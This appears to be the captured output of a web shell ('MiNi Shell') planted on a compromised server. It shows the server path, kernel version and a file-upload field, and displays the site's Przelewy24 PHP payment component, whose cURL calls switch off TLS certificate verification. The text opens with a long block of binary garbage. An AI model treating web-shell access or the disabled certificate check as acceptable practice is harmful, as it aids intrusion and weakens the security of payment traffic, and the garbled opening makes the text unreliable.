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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/components/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/components/Przelewy24.php

<?php

namespace common\components;

use Yii;
use yii\base\Component;
use yii\base\InvalidConfigException;

class Przelewy24 extends Component 
{   
    const P24_VERSION = '3.2';
    const ENCODING = 'UTF-8';
    const HOST_LIVE = 'https://secure.przelewy24.pl/';
    const HOST_SANDBOX = 'https://sandbox.przelewy24.pl/';
    
    public $merchantId = null;
    public $posId = null;
    public $crcSalt = null;
    public $testMode = true;  
    
    protected $postData = [];
    protected $responseData = [];
    protected $host = [];

    protected $_error = [];
    
    protected $stringValidator;
    protected $requiredValidator;
    protected $numberValidator;
    protected $rangeValidator;
    protected $emailValidator;
    protected $urlValidator;
    
    public function init()
    {
        parent::init();
        
        foreach(['merchantId', 'posId', 'crcSalt', 'testMode'] as $property) {
            if(!isset($this->$property)) {
                throw new InvalidConfigException('Przelewy24::'.$property.' must be set.');
            }
        }
        
        $this->setPostData('p24_merchant_id', (int)$this->merchantId);
        $this->setPostData('p24_pos_id', (int)$this->posId);
        $this->setPostData('p24_api_version', self::P24_VERSION);
        $this->setPostData('p24_encoding', self::ENCODING);
        
        $this->host = $this->testMode ? self::HOST_SANDBOX : self::HOST_LIVE;
        
        $this->stringValidator = new \yii\validators\StringValidator();
        $this->requiredValidator = new \yii\validators\RequiredValidator();
        $this->numberValidator = new \yii\validators\NumberValidator();
        $this->rangeValidator = new \yii\validators\RangeValidator(['range' => []]);
        $this->emailValidator = new \yii\validators\EmailValidator();
        $this->urlValidator = new \yii\validators\UrlValidator();
    }

    public function getPostData($key = null)
    {
        if(!empty($key)) {
            return isset($this->postData[$key]) ? $this->postData[$key] : null;
        } else {
            return $this->postData;
        }
    }
    
    public function setPostData($key, $value)
    {
        list($flag, $value) = $this->filterAndValidatePostDataField($key, $value);
        if($flag === true) {
            $this->postData[$key] = $value;
        } 
        
        return $flag;
    }
    
    public function getResponseData($key = null)
    {
        if(!empty($key)) {
            return isset($this->responseData[$key]) ? $this->responseData[$key] : null;
        } else {
            return $this->responseData;
        }
    }
    
    public function clearPostData($key = null)
    {
        if(!empty($key)) {
            unset($this->postData[$key]);
        } else {
            $this->postData = [];
        }
    }
    
    public function setHost($hostType)
    {
        if($hostType === self::HOST_SANDBOX) {
            $this->testMode = true;
            $this->host = self::HOST_SANDBOX;
        } elseif($hostType === self::HOST_LIVE) {
            $this->testMode = false;
            $this->host = self::HOST_LIVE;
        }
    }
    
    public function testConnection() 
    { 
        $postFields = [];
        $postFields['p24_merchant_id'] = $this->merchantId;        
        $postFields['p24_pos_id'] = $this->posId;        
        $postFields['p24_sign'] = md5($this->posId.'|'.$this->crcSalt);
        
        $flag = $this->executeCurl('testConnection', $postFields);
            
        return $flag;
    }

    public function registerTransaction($redirect = false) 
    {
        $sign = md5($this->postData['p24_session_id'].'|'.$this->posId.'|'.$this->postData['p24_amount'].'|'.$this->postData['p24_currency'].'|'.$this->crcSalt) ;
        $this->setPostData('p24_sign', $sign);
        
        $postDataFieldsNames = [
            'p24_merchant_id', 'p24_pos_id', 'p24_session_id', 'p24_amount', 'p24_currency', 'p24_description', 'p24_email', 'p24_client', 'p24_address', 
            'p24_zip', 'p24_city', 'p24_country', 'p24_phone', 'p24_language', 'p24_method', 'p24_url_return', 'p24_url_status', 'p24_time_limit', 
            'p24_wait_for_result', 'p24_channel', 'p24_shipping', 'p24_transfer_label', 'p24_api_version', 'p24_sign', 'p24_encoding', 
            'p24_name_1', 'p24_description_1', 'p24_quantity_1', 'p24_price_1', 'p24_number_1'
        ];
        $postDataFieldsNamesRequired = [
            'p24_merchant_id', 'p24_pos_id', 'p24_session_id', 'p24_amount', 'p24_currency', 'p24_description', 'p24_email', 'p24_client', 'p24_address', 
            'p24_zip', 'p24_city', 'p24_country', 'p24_url_return', 'p24_api_version', 'p24_sign', 'p24_name_1', 'p24_quantity_1', 'p24_price_1', 
        ];
        
        foreach($postDataFieldsNamesRequired as $postDataFieldNameRequired) {
            if($this->getPostData($postDataFieldNameRequired) === null) {
                $this->_error = ['code' => 400, 'message' => 'Wartość parametru "'.$postDataFieldNameRequired.'" jest wymagana.'];
                return false;
            }
        }
        
        $postDataFields = [];
        foreach($postDataFieldsNames as $postDataFieldName) {
            $value = $this->getPostData($postDataFieldName);
            if($value !== null) {
                $postDataFields[$postDataFieldName] = $value;
            }
        }
        
        $flag = $this->executeCurl('trnRegister', $postDataFields);
        if($flag === true) {
            $token = $this->getResponseData('token');
            if($token === null) {
                return false;
            }            
        } else {
            return false;
        }
        
        if($redirect === true) {
            header('Location:'.$this->host.'trnRequest/'.$token);
            return null;          
        } else {
            return $token;
        }
    } 
    
    public function verifyTransaction() 
    {        
        $sign = md5($this->postData['p24_session_id'].'|'.$this->postData['p24_order_id'].'|'.$this->postData['p24_amount'].'|'.$this->postData['p24_currency'].'|'.$this->crcSalt);        
        $this->setPostData('p24_sign', $sign);        
        
        $postDataFieldsNames = ['p24_merchant_id', 'p24_pos_id', 'p24_session_id', 'p24_amount', 'p24_currency', 'p24_order_id', 'p24_sign'];
        
        $postDataFields = [];
        foreach($postDataFieldsNames as $postDataFieldName) {
            $value = $this->getPostData($postDataFieldName);
            if($value === null) {
                $this->_error = ['code' => 400, 'message' => 'Wartość parametru "'.$postDataFieldName.'" jest wymagana.'];
                return false;
            }
            $postDataFields[$postDataFieldName] = $value;
        }
        
        $flag = $this->executeCurl("trnVerify", $postDataFields);
        
        return $flag;
    
    }
    
    public function getTransactionRequestUrl($token)
    {
        return $this->host.'trnRequest/'.$token;
    }
    
    public function executeCurl($endpoint, $postFields)
    {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postFields);
        curl_setopt($curl, CURLOPT_URL, $this->host.$endpoint);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
        
        $curlResponse = curl_exec($curl);
//        var_dump($curlResponse); exit;
        if(curl_errno($curl) > 0) {
            $this->_setError(curl_error($curl));
            $this->_error = ['code' => 203, 'message' => 'call: Curl exec error'];
            curl_close($curl);
            return false;
        }        
        
        if($curlResponse) {
            $curlInfo = curl_getinfo($curl);
            curl_close($curl);
            
            if($curlInfo['http_code'] === 200) {
                $this->_clearError();
                $this->responseData = [];
                parse_str($curlResponse, $this->responseData);
                if(isset($this->responseData['error']) && (!is_numeric($this->responseData['error']) || intval($this->responseData['error']) !== 0)) {
                    $this->_error = ['code' => 406, 'message' => $this->responseData['errorMessage']];
                    return false;
                }
                
                if(!isset($this->responseData['error'])) {
                    $this->_error = ['code' => 999, 'message' => 'call:Unknown error'];
                    return false;
                }
                
                return true;
            } else {
                $this->_error = ['code' => 200, 'message' => 'call:Page load error ('.$curlInfo['http_code'].')'];
                return false;
            }
        } else {
            curl_close($curl);
            return false;
        }
    }
    
    protected function filterAndValidatePostDataField($key, $value)
    {
        $errorMessage = '';
        $flag = true;
        switch($key) {
            case 'p24_merchant_id': 
            case 'p24_pos_id': 
            case 'p24_api_version': 
            case 'p24_encoding': 
            case 'p24_sign':
            case 'p24_order_id': 
                //dla tych atrybutów walidacja i filtrowanie są niepotrzebne - dane pochodzą z konfigu
                break;
            case 'p24_session_id':
                $value = trim((string)$value);
                $this->stringValidator->max = 100;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 100 znaków.';
                } 
                break;
            case 'p24_amount': 
                $value = (float)$value;
                if(is_float($value)) {
                    $value = $value * 100;
                }
                $value = (int)$value;
                $this->numberValidator->integerOnly = true;
                $this->numberValidator->min = 1;
                $this->numberValidator->max = null;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->numberValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być liczbą całkowitą.';
                }
                break;
            case 'p24_currency':
                $value = mb_strtoupper(trim($value));
                $this->rangeValidator->range = ['PLN', 'EUR', 'GBP', 'CZK'];
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->rangeValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                }
                break;
            case 'p24_description':
                $value = trim((string)$value);
                $this->stringValidator->max = 1024;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 1024 znaków.';
                } 
                break;
            case 'p24_email':
                $value = trim((string)$value);
                $this->stringValidator->max = 50;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 50 znaków.';
                } elseif(!$this->emailValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Podana wartość nie jest adresem e-mail.';
                }
                break;
            case 'p24_client': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->max = 50;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 50 znaków.';
                    }
                }
                break;
            case 'p24_address': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->max = 80;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 80 znaków.';
                    }
                }
                break;
            case 'p24_zip': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->max = 10;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 10 znaków.';
                    }
                }
                break;
            case 'p24_city': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->max = 50;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 50 znaków.';
                    }
                }
                break;
            case 'p24_country':
                $value = mb_strtoupper(trim($value));
                $this->rangeValidator->range = ['AD', 'AT', 'BE', 'CY', 'CZ', 'DK', 'EE', 'FI', 'FR', 'EL', 'ES', 'NL', 'IE', 'IS', 'LT', 'LV', 'LU', 'MT', 'NO', 'PL', 'PT', 'SM', 'SK', 'SI', 'CH', 'SE', 'HU', 'GB', 'IT', 'US', 'CA', 'JP', 'UA', 'BY', 'RU'];
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->rangeValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                }
                break;
            case 'p24_phone': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $value = preg_replace('|[^0-9]+|i', '', $value);
                    if(mb_strlen($value) < 11) {
                        $value = '48'.$value;
                    }
                    $this->stringValidator->max = 11;
                    $this->stringValidator->max = 12;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem zawierającym minimum 11 cyfr. Przykładowy format: 48333222111.';
                    }
                }
                break;
            case 'p24_language':
                $value = trim((string)$value);
                if(!empty($value)) {
                    $value = mb_strtolower(trim($value));
                    $this->rangeValidator->range = ['pl', 'en', 'de', 'es', 'it'];
                    if(!$this->rangeValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                    }
                }
                break;
            case 'p24_method':
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = null;
                    $this->numberValidator->max = null;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą.';
                    }
                }
                break;
            case 'p24_url_return':
                $value = trim((string)$value);
                $this->stringValidator->max = 250;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 250 znaków.';
                } elseif(!$this->urlValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Podana wartość nie jest adresem url.';
                }
                break;
            case 'p24_url_status':
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->max = 250;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 250 znaków.';
                    } elseif(!$this->urlValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Podana wartość nie jest adresem url.';
                    }
                }
                break;
            case 'p24_time_limit':
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 0;
                    $this->numberValidator->max = 99;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą z zakresu 0-99.';
                    }
                }
                break;
            case 'p24_wait_for_result': 
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 0;
                    $this->numberValidator->max = 1;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą z zakresu 0-1.';
                    }
                }
                break;
            case 'p24_channel': 
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->rangeValidator->range = [1, 2, 4, 8, 16, 32];
                    if(!$this->rangeValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                    }
                }
                break;
            case 'p24_shipping':
                $value = (float)$value;                
                if(!empty($value)) {
                    if(is_float($value)) {
                        $value = $value * 100;
                    }
                    $value = (int)$value;
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 0;
                    $this->numberValidator->max = null;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą.';
                    }
                }
                break;
            case 'p24_transfer_label': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->max = 20;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 20 znaków.';
                    }
                }
                break;
            default:
                if(preg_match('|^p24_name_[0-9]+$|i', $key) === 1) {
                    $value = trim((string)$value);
                    $this->stringValidator->max = 127;
                    if(!$this->requiredValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość jest wymagana.';
                    } elseif(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 127 znaków.';
                    }
                } elseif(preg_match('|^p24_description_[0-9]+$|i', $key) === 1) {
                    $value = trim((string)$value);
                    if(!empty($value)) {
                        $this->stringValidator->max = 127;
                        if(!$this->stringValidator->validate($value)) {
                            $flag = false;
                            $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 127 znaków.';
                        }
                    }
                } elseif(preg_match('|^p24_quantity_[0-9]+$|i', $key) === 1) {
                    $value = (int)trim($value);
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 1;
                    $this->numberValidator->max = null;
                    if(!$this->requiredValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość jest wymagana.';
                    } elseif(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą o minimalnej wartości: 1.';
                    }
                } elseif(preg_match('|^p24_price_[0-9]+$|i', $key) === 1) {
                    $value = (float)$value;
                    if(is_float($value)) {
                        $value = $value * 100;
                    }
                    $value = (int)$value; 
                    $n = new \yii\validators\NumberValidator();
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 1;
                    $this->numberValidator->max = null;
                    if(!$this->requiredValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość jest wymagana.';
                    } elseif(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą.';
                    }
                } elseif(preg_match('|^p24_number_[0-9]+$|i', $key) === 1) {
                    $value = (int)trim($value);
                    if(!empty($value)) {
                        $this->numberValidator->integerOnly = true;
                        $this->numberValidator->min = 1;
                        $this->numberValidator->max = null;
                        if(!$this->numberValidator->validate($value)) {
                            $flag = false;
                            $errorMessage = 'Wartość musi być liczbą całkowitą.';
                        }
                    }
                } else {
                    $errorMessage = 'Nieprawidłowa nazwa parametru.';
                    $flag = false;
                }
                break;
        }
        
        if(!empty($errorMessage)) {
            $this->_error = ['code' => 400, 'message' => $key.': '.$errorMessage];
        }
        
        return [$flag, $value];
    }
    
//    public function trnRequest($token, $redirect = true) 
//    {
//        if($redirect) {
//            header('Location:'.$this->host.'trnRequest/'.$token);
//            return null;
//        } else {
//            return $this->host.'trnRequest/'.$token; 
//        }         
//    }
    
    

    public function getError($associative = true)
    {
        return $associative ? $this->_error : [$this->_error['code'], $this->_error['message']];
    }
    
    private function _clearError()
    {
        $this->_error = [];
    }
    
}

Creat By MiNi SheLL
Email: jattceo@gmail.com